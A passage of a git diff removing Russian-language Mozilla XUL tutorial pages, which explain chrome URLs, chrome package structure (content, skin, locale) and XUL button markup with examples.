-<pre class="eval"><a class="external" rel="freelink">chrome://browser/content/browser.xul</a>
-</pre>
-<p>В этом случае указывается только название пакета и его часть. Этот тип ссылки автоматически выберет соответствующий файл из соответствующей-же папки. Для контента выбирается файл с таким же именем и расширением xul. В приведенном выше примере выбирается файл browser.xul. Для программы обмена сообщениями будет выбран файл messenger.xul. Если вы создаете свое собственное приложение, вы можете решить создать файл для главного окна вашего приложения с именем, совпадающим с названием пакета, чтобы иметь возможность использовать данную сокращенную форму. Это удобно, так как пользователю достаточно знать только название приложения для того, чтобы его запустить. Естественно для расширений, которые меняют интерфейс браузера, пользователю нет необходимости знать URL, так как расширение будет само представлять себя в пользовательском интерфейсе.</p>
-<p>Для скина выбирается файл <em>&lt;package name&gt;</em>.css; для локали - <em>&lt;package name&gt;</em>.dtd.</p>
-<p>Помните, что chrome URL никак не отражает своего месторасположения на диске. Первые два элемента chrome URL, это название пакета и его части (это может быть content, skin, или locale). Общепринято помещать файлы контента в папку под названием 'content', но это, конечно, не регламентируется никакими соглашениями, и эти файлы можно размещать в полностью иной структуре папок.</p>
-<p>В следующей главе мы опишем, как создать файлы манифеста (.manifest) и пакеты.</p>
-<p>{{ PreviousNext("XUL_Tutorial/XUL_Structure", "XUL_Tutorial/Manifest_Files") }}</p>
diff --git a/files/ru/xul_tutorial/xul_structure/index.html b/files/ru/xul_tutorial/xul_structure/index.html
deleted file mode 100644
index 20c90c4d3a..0000000000
--- a/files/ru/xul_tutorial/xul_structure/index.html
+++ /dev/null
@@ -1,153 +0,0 @@
----
-title: XUL Structure
-slug: XUL_Tutorial/XUL_Structure
-tags:
- - XUL_Tutorial
-translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure
----
-<p>{{ PreviousNext("XUL_Tutorial/Introduction", "XUL_Tutorial/The_Chrome_URL") }}</p>
-
-<p><span style="font-size: medium;"><em>Начнём с описания того, как обрабатывается XUL в браузере Mozilla.</em></span></p>
-
-<h3 id=".D0.9A.D0.B0.D0.BA_XUL_.D0.BE.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D1.82.D1.81.D1.8F" name=".D0.9A.D0.B0.D0.BA_XUL_.D0.BE.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D1.82.D1.81.D1.8F">Как обрабатывается XUL</h3>
-
-<p>XUL обрабатывается в Mozilla теми же методами, что и HTML или другие типы содержимого. Когда вы вводите URL HTML-страницы в адресную строку браузера, браузер находит веб-сайт и загружает его содержимое. Механизм рендеринга Mozilla получает содержимое в виде исходного кода HTML и преобразует его в дерево документа. Дерево затем конвертируется в набор объектов, которые уже могут быть отображены на экране. Таблицы стилей (<a href="/ru/CSS" title="ru/CSS">CSS</a>), изображения, и другие технологии, используются для управления отображением. XUL в основном функционирует похожим образом.</p>
-
-<p>На самом деле, в Mozilla, все типы документов, будь то HTML или XUL, или даже <a href="/ru/SVG" title="ru/SVG">SVG</a>, обрабатываются одним и тем же кодом ядра. Это означает, что одни и те же CSS свойства могут использоваться для оформления и HTML и XUL, и многие функции также могут быть доступны обоим. Тем не менее, существуют некоторые особенности, которые являются специфическими для HTML, такие, как формы, и другие, которые являются характерными для XUL такие как <a href="/ru/XUL_Tutorial/Overlays" title="ru/XUL_Tutorial/Overlays">оверлеи </a>. Поскольку XUL и HTML обрабатываются сходным образом, постольку вы можете загружать их либо из локальной файловой системы, либо с веб-страницы, либо из дополнения или автономного XULRunner-приложения.</p>
-
-<p>Содержимое удаленных источников, например <code><span class="nowiki">http://localhost/~username/</span></code>, независимо от того, HTML это, или XUL или другой тип документа, будет по соображениям безопасности ограничено по типу операций, которое оно может выполнить. Из-за этого Mozilla обеспечивает возможность локальной установки кнтента и регистрации установленных файлов как части её <strong><a href="/ru/Chrome" title="ru/Chrome">chrome</a></strong> системы. Это позволяет использовать специальный формат URL -- <code>chrome://</code> URL. Получая доступ к файлу посредством chrome URL, Mozilla обеспечивает этим файлам расширенные права для доступа к локальным файлам, к настройкам и закладкам, и выполнению других привилегированных операций. Очевидно, что у веб-страниц нет таких привилегий, если только они не имеют цифрового сертификата и пользователь не дал разрешение на выполнение таких операций.</p>
-
-<p>Эта регистрация пакетов в <strong>chrome</strong> системе -- способ Firefox-дополнений добавлять новые функции в браузер. Дополнения это небольшие пакеты из XUL файлов, сценариев JavaScript, таблиц стилей и изображений упакованных в один файл. Такой упакованный файл может быть создан с помощью архиватора ZIP. Когда пользователь загружает дополнение, файлы, содержащиеся в нем устанавливаются на компьютер пользователя. Расширение внедряется в браузер с помощью специального механизма XUL, называемого - <a href="/ru/Overlay" title="ru/Overlay">оверлей (overlay)</a> и обеспечивающего объединение XUL-кода дополнения и кода XUL браузера. Пользователю может показаться, что дополнение изменило браузер, но на самом деле, код браузера и дополнения разделены, и дополнение может быть легко удалено. Зарегистрированным пакетам, конечно же, использование оверлеев не требуется. Если бы это было не так, то вы не смогли бы получить к ним доступ посредством основного интерфейса браузера, правда, к ним можно все же получить доступ с помощью chrome URL, если вы знаете что это такое.</p>
-
-<p>Автономные XUL приложения могут интегрировать XUL-код похожим способом, но, естественно, XUL для приложения будет включаться как часть установки, вместо того чтобы быть установленным отдельно как дополнение. Однако, этот XUL-код будет зарегистрирован в chrome-системе, чтобы приложение могло отображать интерфейс пользователя.</p>
-
-<p>Следует также отметить, что браузер Mozilla сам представляет собой просто набор пакетов, содержащих файлы XUL, JavaScript и таблицы стилей. Эти файлы доступны через chrome URL, имеют расширенные привилегии и работают так же, как любой другой пакет. Конечно, браузер гораздо больше и более сложен, чем большинство дополнений. Firefox и Thunderbird также как и другие компоненты, все написаны на XUL и все они доступны через chrome URL-ы. Вы можете исследовать эти пакеты, просмотрев каталог chrome, в который установлен Firefox или другое XUL приложение.</p>
-
-<p>Chrome URL всегда начинается с 'chrome://'. Также как <span class="nowiki">'http://'</span> URL всегда ссылается на веб-сайты используя HTTP и 'file://' URL всегда ссылается на локальные файлы, 'chrome://' URL всегда ссылается на установленные пакеты и дополнения. Подробнее синтаксис chrome URL будет рассмотрен в следующем разделе. Важно отметить, что доступ через chrome URL даёт дополнительные привилегии, описанные выше, чего не дают другие типы URL. Так, например, HTTP URL не имеет каких-либо особых привилегий, и если веб-страница попытается, например, считать локальный файл то произойдет ошибка. А файл, загруженный через chrome URL, может читать файлы имея тот же уровень доступа, что и установленное расширение, которому он принадлежит.</p>
-
-<p>Это различие очень важно. Оно означает, что есть определенные вещи, которые контент веб-страницы не может выполнить, например - прочитать закладки пользователя. Это различие основывается не на типе отображаемого контента, а только на типе используемого URL. И HTML и XUL, размещённые на веб-сайте, не имеют никаких дополнительных разрешений, однако если и HTML и XUL загружены через chrome URL, то они эти разрешения получают.</p>
-
-<p>Если вы собираетесь использовать XUL на веб-сайте, то просто выложите на этот сайт XUL, как обычный HTML файл, а затем загрузите этот URL в браузере <small><span class="nowiki">http://localhost/xul.php</span></small>. Проверьте, что ваш веб-сервер отправляет правильный заголовок типа контента content-type (он должен быть равен <strong><code>application/vnd.mozilla.xul+xml</code></strong>, например, для PHP можно использовать <code>header('Content-type: application/vnd.mozilla.xul+xml');</code>). Этот тип контента является механизмом, с помощью которого система Mozilla отличала XUL от HTML. Mozilla не использует расширение файла, если только не считывает файлы из файловой системы, но для XUL файлов вам необходимо использовать расширение <code>.xul</code>. Вы можете загружать XUL файлы с собственного компьютера, открывая их в браузере или двойным щелчком по имени файла в файловом менеджере.</p>
-
-<div class="note">Помните, что XUL, полученный из удаленного источника будет иметь значительные ограничения в действиях, которые он сможет выполнять.</div>
-
-<h4 id=".D0.A2.D0.B8.D0.BF.D1.8B_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0:_HTML_XML_XUL_CSS" name=".D0.A2.D0.B8.D0.BF.D1.8B_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0:_HTML_XML_XUL_CSS">Типы документа: HTML XML XUL CSS</h4>
-
-<p>Mozilla использует существенно разные типы объектов документа (<a href="/ru/DOM" title="ru/DOM">DOM</a>) для HTML и XUL, хотя у них много общего в смысле функциональности. В Mozilla есть вВсего три типа документа имеются : HTML, XML, and XUL. Естественно, HTML документ используется для документов HTML, XUL документ используется для документов XUL, и XML документ используется для других типов документов XML. Поскольку XUL это разновидность XML, постольку документ XUL это подмножество более общего XML документа. Однако есть тонкие различия в функциональности. Так, например, когда управляющие элементы формы на HTML странице доступны через свойство <code>document.forms</code>, это свойство не доступно для документов  XUL, так как в XUL нет форм в том смысле, в котором они есть в HTML. Сходным образом специфические возможности XUL, такие как оверлеи и шаблоны, существуют только в документах XUL.</p>
-
-<p>Эти различия очень важны. Можно использовать многие возможности XUL в HTML или XML документах в тех случаях, когда эти возможности не являются специфичными для типа документа; <span>тем не менее для других возможностей необходим правильный тип документа.</span></p>
-
-<p><span>Подведя ито</span>ги вышесказанного:</p>
-
-<ul>
- <li>Mozilla отрисовывает <a href="/ru/HTML" title="ru/HTML">HTML</a> и <a href="/ru/XUL" title="ru/XUL">XUL</a> используя один и тот же механизм и применяет <a href="/ru/CSS" title="ru/CSS">CSS</a> для их отображения.</li>
- <li>XUL может загружаться с сайта, из локальной файловой системы, или устанавливаться как пакет и быть доступным через <a href="/ru/Chrome" title="ru/Chrome">chrome</a> URL. Последний вариант как раз и используется для дополнений.</li>
- <li>Chrome URL могут использоваться для доступа к установленным пакетам и открывать их с расширенными привилегиями.</li>
- <li>HTML, XML, и XUL имеют различный тип документа. Одни возможности могут использоваться в любых типах документа, а другие возможности - специфичны для конкретного типа.</li>
-</ul>
-
-<p>Следующие несколько разделов описывают chrome пакет, который может устанавливаться в Mozilla. Но, если вы хотите уже начать разработку простого приложения, то вы можете сразу перейти на <a href="/ru/XUL_Tutorial/Creating_a_Window" rel="internal"><font color="#638fa2">Создаем окно</font></a> и вернуться к этому разделу позже.</p>
-
-<h3 id="Package_Organization" name="Package_Organization">Устройство пакета</h3>
-
-<p>Mozilla устроен таким образом, что вы можете иметь столько компонентов сколько вы захотите установить. Каждое дополнение - это отдельный компонент со своим chrome URL. В Mozilla также есть по одному компоненту для каждого установленного скина и локали. Каждый из этих компонентов, или пакетов, состоит из набора файлов, которые описывают его пользовательский интерфейс. К примеру, компонент messenger содержит описание окна списка почтовых сообщений, описание окна создания письма и описания диалоговых окон адресной книги.</p>
-
-<p>Пакеты, которые предоставляются в составе Mozilla, расположены внутри каталога <strong>chrome</strong>, который находится в каталоге, в который вы установили Mozilla. В каталоге <strong>chrome </strong>вы найдете все файлы, описывающие интерфейс самого браузера Mozilla, почтового клиента, и других приложений. Обычно вы размещаете все  XUL файлы в каталоге приложения, однако дополнения устанавливаются в каталоге <strong>extensions </strong>для каждого отдельного пользователя. Простое копирование XUL файла в каталог <strong>chrome </strong>не дает ему каких-либо дополнительных привилегий, также он не может быть доступен через chrome URL. Для получения дополнительных привилегий вам необходимо создать manifest-файл и поместить его в каталог chrome. Этот файл легко создать, так как он обычно состоит всего из нескольких строк. Он используется для отображения(связывания) chrome URL-а на путь к файлу или каталогу где лежат XUL файлы. Подробности создания этого файла обсуждаются <a href="/Ru/XUL_Tutorial/Manifest_Files" title="ru/XUL_Tutorial/Manifest_Files">в разделе далее</a>.</p>
-
-<p>Единственный способ создать контент доступный через chrome URL, это создать пакет, как описано в нескольких нижеследующих разделах. Каталог называется 'chrome', скорее всего потому, что имя оказалось удобным, чтобы запомнить, что он используется для хранения chrome пакетов, содержащихся в Mozilla.</p>
-
-<p>Чтобы увеличить путаницу, отметим, что есть еще два других места, где может появляться слово "chrome". Это параметр <code>-chrome</code> в командной строке и модификатор <code>chrome</code> в функции <code><a href="/ru/DOM/window.open" title="ru/DOM/window.open">window.open()</a></code>. Ни одна из этих возможностей не дает дополнительных привилегий; вместо этого они используются для открытия нового окна верхнего уровня без элементов браузерного интерфейса, таких, как меню и панели инструментов. Вы можете использовать эту возможность в более сложных XUL приложениях если не хотите чтобы интерфейс браузера присутствовал в ваших диалоговых окнах.</p>
-
-<p>Файлы пакета обычно объединяются в JAR файл. Этот файл может быть создан любым ZIP архиватором. Например, вы можете открыть JAR файлы из  <code><span style="font-family: verdana,tahoma,sans-serif;">каталога </span>chrome</code> Mozill-ы, чтобы посмотреть базовую структуру пакета.  Несмотря на то, что обычно файлы упаковываются в JAR, пакеты могут также быть доступны в несжатой форме внутри каталога. Распространять пакеты таким образом не рекомендуется, но это очень удобно для разработки, так как вы можете править файлы напрямую и перезагружать XUL без необходимости переустановки или переупаковки файлов.</p>
-
-<p>По умолчанию, приложения Mozilla парсят XUL файлы и скрипты, и сохраняют прекомпилированную версию в памяти до конца сессии приложения. Это повышает производительность. Однако, из-за этого XUL не перезагрузится даже если исходные файлы изменятся. Чтобы отключить этот механизм, необходимо изменить опцию <code>nglayout.debug.disable_xul_cache</code>. В Firefox, эта опция может быть добавлена в пользовательские настройки простым вводом "about:config" в адресную строку, и установкой значения опции в true. Или же вы можете вручную отредактировать файл настроек <code>user.js,</code> добавив следующую строчку:</p>
-
-<pre class="eval">pref("nglayout.debug.disable_xul_cache", true);
-</pre>
-
-<p>Как правило, chrome-пакет состоит из трех частей, хотя ни одна из них не является обязательной. Каждая часть хранится в отдельном каталоге. Эти три части это контент, скин и локаль, все они описываются ниже. Отдельно взятый пакет может содержать один или более скинов и локалей, но пользователи могут заменять их своими собственными. Дополнительно пакет может содержать несколько различных приложений, каждое из которых доступно через свой  отдельный chrome URL. Система упаковки достаточно гибкая, так что вы можете включать любые нужные вам части и разрешать отдельную загрузку других частей, таких как текст для разных языков пользователей.</p>
-
-<p>Три типа chrome-пакетов, это:</p>
-
-<ul>
- <li><strong>Content</strong>  (Контент)- Окна и скрипты<br>
- Объявление окон и элементов, содержащихся в них. Они сохраняются в XUL файлах, с расширением <code>.xul</code>. Пакет контента может содержать несколько  XUL файлов, однако главное окно должно быть описано в файле с именем, совпадающим с именем самого пакета. Например, пакет редактора будет содержать внутри себя файл с названием <code>editor.xul</code>. Сценарии помещаются в отдельные файлы, размещенные вместе с XUL файлами.</li>
- <li><strong>Skin</strong> (Скин) - Таблицы стилей, изображения и другие спецфичные для тем оформления файлы<br>
- Таблицы стилей описывают детали внешнего вида окна. Они хранятся отдельно от XUL файлов для упрощения внесения изменений в скин (тему) приложения. Все используемые изображения также хранятся здесь.</li>
- <li><strong>Locale</strong> (Локаль) - Файлы, специфичные для локализации<br>
- Все надписи и тексты, отображаемые на элементах интерфейса окна приложения, хранятся отдельно. При этом пользователи могут иметь свои наборы локалей для их языков общения.</li>
-</ul>
-
-<h3 id="Content_Packages" name="Content_Packages">Пакеты контента</h3>
-
-<p>Имя файла JAR может описывать то, что он содержит, но вы не сможете сказать с уверенностью, соответствует ли название пакета его содержимому, до тех пор пока не просмотрите это содержимое. Приведем пример на основе пакета, имеющегося в составе Firefox. Если вы распакуете файлы из пакета  <code>browser.jar</code>, вы увидите, что он содержит струтуру папок выглядящую скорее всего примерно так:</p>
-
-<pre>content
- browser
- browser.xul
- browser.js
- -- other browser XUL and JS files goes here --
- bookmarks
- -- bookmarks files go here --
- preferences
- -- preferences files go here --
-.
-.
-.
-</pre>
-
-<p>Этот пакет можно легко опознать, как пакет контента, поскольку папка самого верхнего уровня называется <code>content</code>. Для скинов эта папка, как правило, будет называться <code>skin</code>, а для локалей - <code>locale</code>. Эта схема поименования не является обязательной, но это общепринятое соглашение для того, чтобы сделать более понятным, какая часть пакета что содержит. Некоторые пакеты могут иметь раздел контента, скин и локаль. В таком случае вы обнаружите по папке для каждого типа. Так например пакет Chatzilla поставляется именно в таком виде.</p>
-
-<p>Папка <code>content/browser</code> содержит набор файлов с расширениями <code>.xul</code> и <code>.js</code>. XUL файлы - это файлы с расширением <code>.xul</code>. Файлы с расширением <code>.js</code> - это файлы сценариев на языке JavaScript, которые обеспечивают собственно функциональность элементов интерфейса окна. Многие XUL файлы имеют файл сценария, связанного с ними, а некоторые могут иметь по несколько таких файлов сценариев.</p>
-
-<p>В вышеприведенном листинге приведены два файла. Конечно в пакете есть и другие файлы, но для простоты изложения они не показаны. Файл <code>browser.xul</code> - это XUL файл, который описывает главное окно браузера. Главное окно для пакета контента должно иметь такое же имя, как пакет с раширением <code>.xul</code>. В данном случае имя пакета - "browser", поэтому мы предполагаем обнаружить файл <code>browser.xul</code>. Некоторые другие XUL файлы описывают отдельные окна. Например, файл <code>pageInfo.xul</code> описывает диалог информации о странице.</p>
-
-<p>Во многие пакеты будет входить файл <code>contents.rdf</code>, который описывает пакет, его автора, и оверлеи, которые использует этот пакет. Однако этот файл устарел и заменен более простым механизмом. Этим механизмом является файл манифеста, упомянутый ранее, вы можете отличить эти файлы в папке chrome по расширению <code>.manifest</code>. Например, <code>browser.manifest</code> описывает пакет браузера.</p>
-
-<p>Несколько подкаталогов, таких, как <code>bookmarks</code> и <code>preferences</code>, представляют дополнительные разделы компонента браузера. Они размещаются в различных папках только для того, чтобы расположение файлов было более организованным.</p>
-
-<h3 id="Skins_or_Themes" name="Skins_or_Themes">Скины или Темы</h3>
-
-<p>Несмотря на то, что код ядра Mozilla называет такие объекты скинами, а в пользовательском интерфейсе они называются темами, они оба ссылаются на одну и ту же вещь. В файле <code>classic.jar</code> описана тема по умолчанию, поставляемая вместе с Firefox. Структура этих частей  очень напоминает пакеты контента. Например, посмотрите <code>classic.jar</code>:</p>
-
-<pre>skin
- classic
- browser
- browser.css
- -- other browser skin files go here --
- global
- -- global skin files go here --
-.
-.
-.
-</pre>
-
-<p>Повторимся, что такая струтура папок не является необходимой и используется исключительно для удобства. В действительности вы можете поместить все файлы в одну папку верхнего уровня и не пользоваться подкаталогами. Однако в случае приложений большого размера подкаталоги используются для разделения разных компонентов. В вышеприведенном примере одна папка предназначена для файлов, связанных с темой для браузера, a другая - для файлов, имеющих отношение к общей для приложения теме оформления. Общая папка содержит файлы тем оформления (скинов), являющиеся общими для всех пакетов. Эти файлы используются во всех компонентах и будут включены в поставку вашего отдельного самостоятельного приложения. Общая часть определяет внешний вид всех общих виджетов XUL, тогда как все прочие папки содержат файлы, специфичные для самих приложений. Firefox содержит в одном архиве и общие файлы темы оформления и файлы темы оформления браузера, но они могут содержаться и по отдельности.</p>
-
-<p>Скин состоит из CSS файлов и набора изображений, используемых для задания внешнего вида интерфейса. Файл <code>browser.css</code> используется файлом <code>browser.xul</code> и содержит стили, которые определяют внешний вид различных частей интерфейса браузера. Повторно отметим, что файл <code>browser.css</code> имеет такое же имя, как и пакет в целом. Путем изменения CSS файлов вы можете менять внешний вид окна, не меняя при этом его функций. Именно таким способом вы можете создать новую тему оформления. Часть XUL остается неизменной, и независимо от нее меняется только часть со скином.</p>
-
-<h3 id="Locales" name="Locales">Локали</h3>
-
-<p>Файл <code>en-US.jar</code> содержит описание языковой информации для каждого компонента, в данном случае на американском варианте Английского языка. Аналогично скинам, каждый языковой раздел содержит файлы, которые определяют тексты, используемые в пакете для каждого отдельного языка. Структура локали сходна со всеми остальными, поэтому здесь она не приводится.</p>
-
-<p>Локализованный текст хранится в файлах двух типов: DTD и Properties. Файлы DTD имеют расширение <code>.dtd</code> и содержат определения объектов, по одному на каждую строку текста, используемую в окне. Например, файл <code>browser.dtd</code> содержит определения объектов для каждой команды меню. Кроме того для каждой команды определяются сочетания клавиш, так как они могут быть различными для каждого языка. Файлы DTD также используются XUL файлами, по одному файлу DTD на каждый XUL файл в общем случае. Часть локали также содержит <code>.properties</code> файлы, которые похожи на файлы DTD, но используются в скриптах. Например файл <code>browser.properties</code> содержит несколько таких локализованных строк.</p>
-
-<p>Эта структура позволяет вам переводить Mozilla или компонент приложения на разные языки просто добавляя новые локали для этих языков. И при этом вам не нужно менять полностью код XUL. К тому же другой программист может создать отдельный пакет, который добавит скин или локаль к контенту вашего приложения, что позволят создавать новые темы оформления или добавлять языки интерфейса без необходимости менять исходный пакет.</p>
-
-<h3 id="Other_Packages" name="Other_Packages">Другие пакеты</h3>
-
-<p>Существует специальный пакет, называющийся toolkit (или global). Ранее мы уже видели папку с глобальными данными в скинах. Файл <code>toolkit.jar</code> содержит соответствующие части контента для такого пакета. Он содержит некоторые глобальные диалоги и определения. Также он определяет вид по умолчанию и функциональность различных общих виджетов XUL, таких как текстовые поля и кнопки. Файлы, расположенные в глобальной части пакета скина содержат вид по умолчанию для всех элементов интерфейса XUL. Пакет tolkit используется всеми XUL приложениями.</p>
-
-<h3 id="Adding_a_Package" name="Adding_a_Package">Добавление пакета</h3>
-
-<p>Mozilla помещает пакеты, которые поставляются вместе с дистрибутивом, в папку <code>chrome</code>. Однако это не означает, что они обязательно должны там размещаться. При установке другого пакета вы можете поместить его в любое место на диске, при условии, что файл манифеста указывает на это место.</p>
-
-<p>Традиционно пакеты помещаются в папку <code>chrome</code> просто потому, что это удобно; тем не менее они будут работать точно так же и будучи размещенными в другой папке или даже в каком-нибудь каталоге вашей локальной сети. Но вы не сможете хранить их на удаленном сайте, если только этот сайт не смонтирован как локальная файловая система.</p>
-
-<p>Есть две папки <code>chrome</code> используемых для XUL приложений: одна - в том же месте, в которое установлено приложение, тогда как другая - часть профиля пользователя. Первая предназначена для пакетов, которые используются всеми пользователями, а вторая - для пакетов, применяемых только отдельным пользователем или пользователями. Расширения, будучи установленными в отдельную папку для расширений, также специфичны для каждого пользователя. Любые файлы манифеста, расположенные в любой из вышеприведенных папок, будут проверяться, чтобы определить, какие пакеты установлены.</p>
-
-<p>В следующей главе мы рассмотрим, как ссылаться на chrome пакеты с помощью chrome URL.</p>
-
-<p>{{ PreviousNext("XUL_Tutorial/Introduction", "XUL_Tutorial/The_Chrome_URL") }}<span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "es": "es/Tutorial_de_XUL/Estructura_XUL", "fr": "fr/Tutoriel_XUL/La_structure_XUL", "ja": "ja/XUL_Tutorial/XUL_Structure", "pl": "pl/Kurs_XUL/Struktura_XUL", "de": "de/XUL_Tutorial/XUL_Struktur" } ) }}</p>
diff --git a/files/ru/xul_tutorial/добавление_кнопок/index.html b/files/ru/xul_tutorial/добавление_кнопок/index.html
deleted file mode 100644
index 512fd04ccc..0000000000
--- a/files/ru/xul_tutorial/добавление_кнопок/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Добавление кнопок
-slug: XUL_Tutorial/Добавление_кнопок
----
-<p> </p>
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Adding_Labels_and_Images">Следующая статья »</a></p>
-</div><p></p>
-<p>В этом разделе мы увидимa, как можно добавить к окну несколько простых кнопок.</p>
-<h3 id="Добавление_кнопок_к_окну">Добавление кнопок к окну</h3>
-<p>В окне, которое мы создали в предыдущем разделе, ничего нет. Ну и зачем нам такое окно? В этом разделе, мы добавим де кнопки, "Find" и "Cancel". Кроме того, мы узнаем, как позиционировать кнопки в окне.</p>
-<p>Подобно HTML, XUL имеет тэги, предназначенные для создания элементов пользовательского интерфейса. Тэг <code><code><a href="/ru/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> -- один из простейших подобных тегов. Он используется для создания простых кнопок.</p>
-<p>Тэг button имеет два основных свойства , <code>label</code> и <code>image</code>. Вам нужно определить хотя бы одно. То есть вы можете определить для кнопки имя, или картинку, или и то и другое (или ни того ни другого, всё равно заработает).</p>
-<h4 id="Синтаксис_тэга_button">Синтаксис тэга button</h4>
-<p>Тэг<code> <code><a href="/ru/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> имеет следующий синтаксис:</p>
-<pre>&lt;button
- id="identifier"
- class="dialog"
- label="OK"
- image="images/image.jpg"
- disabled="true"
- accesskey="t"/&gt;
-</pre>
-<p>Атрибуты перечислены ниже. Все они являются необязательными.</p>
-<dl> <dt><code id="a-id"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/id">id</a></code> </dt> <dd>A unique identifier so that you can identify the button with. You'll see this attribute on all elements. You'll want to use this if you want to refer to the button in a style sheet or script. However, you should add this attribute to almost all elements. It isn't always placed on elements in this tutorial for simplicity.</dd> <dt><code id="a-class"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/class">class</a></code> </dt> <dd>The style class of the button. This works the same as in HTML. It is used to indicate the style that the button appears in. In this case the value <code>dialog</code> is used. In most cases, you will not use a class for a button.</dd> <dt><code id="a-label"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/label">label</a></code> </dt> <dd>The label that will appear on the button. For example, <em>OK</em> or <em>Cancel</em>. If this is left out, no text appears.</dd> <dt><code id="a-image"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/image">image</a></code> </dt> <dd>The URL of the image to appear on the button. If this is attribute is left out, no image appears. You can also specify the image in a stylesheet using the <code><a href="/en/CSS/list-style-image" title="en/CSS/list-style-image">list-style-image</a></code> property.</dd> <dt><code id="a-disabled"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/disabled">disabled</a></code> </dt> <dd>If this attribute is set to <code>true</code>, the button is disabled. This is usually drawn with the text in grey. If the button is disabled, the function of the button cannot be performed. If this attribute is left out entirely, the button is enabled. You can switch the disabled state of the button using <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>.</dd> <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/accesskey">accesskey</a></code> </dt> <dd>This should be set to a letter that is used as a shortcut key. This letter should appear in the label text and will typically be drawn underlined. When the user presses ALT (or a similar key that varies on each platform) and the access key, the button will be focused from anywhere in the window.</dd>
-</dl>
-<p>Note that a button supports more attributes than those listed above. Others will be <a href="/en/XUL_Tutorial/More_Button_Features" title="en/XUL_Tutorial/More_Button_Features">discussed later</a>.</p>
-<h4 id="Some_examples_of_buttons">Some examples of buttons</h4>
-<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Просмотреть</a></p>
-<div class="float-right"><img alt="Image:buttons1.png" class="internal" src="/@api/deki/files/593/=Buttons1.png"></div>
-<pre>&lt;button label="Normal"/&gt;
-&lt;button label="Disabled" disabled="true"/&gt;
-</pre>
-<p>The examples above will generate the buttons in the image. The first button is a normal button. The second button is disabled so it appears greyed out.</p>
-<p>We'll start by creating a simple Find button for the find files utility. The example code below shows how to do this.</p>
-<pre>&lt;button id="find-button" label="Find"/&gt;
-</pre>
-<div class="note">Note that Firefox doesn't allow you to open chrome windows from web pages, so the View links in the tutorial will open in normal browser windows. Due to this, the buttons will appear to stretch across the window. You can add align="start" to the window tag to prevent the stretching.</div>
-<div class="highlight">
-<h5 id="The_findfile.xul_example">The findfile.xul example</h5>
-<p>Let's add this code to the file findfile.xul that we created in the previous section. The code needs to be inserted in-between the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> tags. The code to add is shown in red below:</p>
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="<a class=" external">chrome://global/skin/</a>" type="text/css"?&gt;
-&lt;window id="findfile-window"
- title="Find Files"
- orient="horizontal"
- xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
-
- <span style="color: rgb(255, 0, 0);"><span class="highlightred">&lt;button id="find-button" label="Find"/&gt;</span><br> <span class="highlightred">&lt;button id="cancel-button" label="Cancel"/&gt;</span><br><br></span>&lt;/window&gt;
-</pre>
-<div class="float-right"><img alt="Image:buttons2.png" class="internal" src="/@api/deki/files/599/=Buttons2.png"></div>
-<p>You'll notice that the Cancel button was added also. The window has been given a horizontal orientation so that the two buttons appear beside each other. If you open the file in Mozilla, you should get something like the image shown here.</p>
-</div>
-<p> </p>
-<div class="note">Note that we shouldn't put text labels directly in the XUL file. We should use <a href="/en/XUL_Tutorial/Localization" title="en/XUL_Tutorial/Localization">entities instead so that text can be easily translated</a>.</div>
-<p>In the next section, we will find out how to <a href="/en/XUL_Tutorial/Adding_Labels_and_Images" title="en/XUL_Tutorial/Adding_Labels_and_Images"> add labels and images to a XUL window</a>.</p>
-<p><small>See also <a href="/en/XUL_Tutorial/More_Button_Features" title="en/XUL_Tutorial/More_Button_Features">more button features</a></small></p>
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Creating_a_Window" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Adding_Labels_and_Images">Следующая статья »</a></p>
-</div><p></p>
-<p></p>
diff --git a/files/ru/xul_tutorial/добавление_надписей_и_каритнок/index.html b/files/ru/xul_tutorial/добавление_надписей_и_каритнок/index.html
deleted file mode 100644
index afddc6a2a0..0000000000
--- a/files/ru/xul_tutorial/добавление_надписей_и_каритнок/index.html
+++ /dev/null
@@ -1,122 +0,0 @@
----
-title: Добавление надписей и каритнок
-slug: XUL_Tutorial/Добавление_надписей_и_каритнок
----
-<p>This section describes a way to add labels and images to a window. In addition, we look at how to include elements into groups.</p>
-<div id="section_1">
-<h3 class="editable" id="Text_Elements" style="margin-top: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.142em;"><span>Text Elements</span>
